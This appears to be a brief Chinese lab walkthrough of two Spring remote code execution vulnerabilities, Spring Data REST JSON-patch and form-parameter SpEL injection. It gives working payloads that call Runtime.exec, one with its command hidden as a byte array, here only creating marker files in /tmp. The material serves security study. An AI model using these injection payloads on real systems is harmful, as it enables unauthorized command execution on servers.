常见框架漏洞—Spring
一.Spring Data Rest 远程命令执⾏命令
1.搭建环境
2.访问网站下的/customers/1
3.对当前页面进行抓包,修改提交方式为PATCH,内容类型为application/json-patch+json
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,101}))/lastname", "value": "vulhub" }]
4.发现容器目录中有了succese
二.Spring代码执行
1.环境搭建
2.访问网站下的users目录
3.提交页面进行抓包,添加poc:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=
4.查看终端,发现成功写入